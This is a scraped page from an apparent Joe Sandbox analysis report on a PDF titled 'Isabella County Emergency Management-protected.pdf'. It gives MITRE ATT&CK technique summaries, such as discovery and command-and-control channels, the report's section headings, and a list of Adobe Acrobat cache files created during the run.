Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Isabella County Emergency Management-protected.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d326470-8734-41b7-9c24-d31699bb05de.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6888

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6888

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Windows Analysis Report
Isabella County Emergency Management-protected.pdf